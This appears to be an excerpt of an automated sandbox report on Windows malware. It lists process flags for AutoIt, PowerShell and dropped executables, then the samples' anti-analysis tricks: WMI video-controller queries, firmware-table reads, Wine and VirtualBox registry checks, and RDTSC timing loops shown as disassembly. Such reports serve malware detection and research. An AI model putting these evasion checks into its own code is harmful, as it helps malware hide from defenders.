Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\random(4).exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\random(4).exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\random(4).exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 719557 second address: 71955B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 71955B second address: 718D7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F0264BBFB18h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f nop 0x00000010 sub dword ptr [ebp+122D35FBh], ebx 0x00000016 push dword ptr [ebp+122D0B49h] 0x0000001c mov dword ptr [ebp+122D3856h], edx 0x00000022 call dword ptr [ebp+122D2A95h] 0x00000028 pushad 0x00000029 mov dword ptr [ebp+122D3560h], edx 0x0000002f xor eax, eax 0x00000031 add dword ptr [ebp+122D1CCCh], ecx 0x00000037 mov edx, dword ptr [esp+28h] 0x0000003b jmp 00007F0264BBFB1Bh 0x00000040 jmp 00007F0264BBFB22h 0x00000045 mov dword ptr [ebp+122D2E4Fh], eax 0x0000004b mov dword ptr [ebp+122D3560h], esi 0x00000051 mov esi, 0000003Ch 0x00000056 xor dword ptr [ebp+122D3160h], edx 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 mov dword ptr [ebp+122D3560h], edx 0x00000066 lodsw 0x00000068 cmc 0x00000069 add eax, dword ptr [esp+24h] 0x0000006d sub dword ptr [ebp+122D1CCCh], esi 0x00000073 mov ebx, dword ptr [esp+24h] 0x00000077 pushad 0x00000078 mov dword ptr [ebp+122D3560h], esi 0x0000007e and edx, dword ptr [ebp+122D2ED7h] 0x00000084 popad 0x00000085 push eax 0x00000086 push eax 0x00000087 push edx 0x00000088 push ecx 0x00000089 push eax 0x0000008a push edx 0x0000008b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 718D7C second address: 718D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8918E1 second address: 8918EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8815D4 second address: 8815DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8815DF second address: 8815EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8815EA second address: 8815F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F0264E84AC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8815F4 second address: 88162C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0264BBFB16h 0x00000008 jmp 00007F0264BBFB1Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0264BBFB27h 0x00000016 jne 00007F0264BBFB16h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 88162C second address: 881630 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 890C43 second address: 890C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 890C47 second address: 890C4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 890C4B second address: 890C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
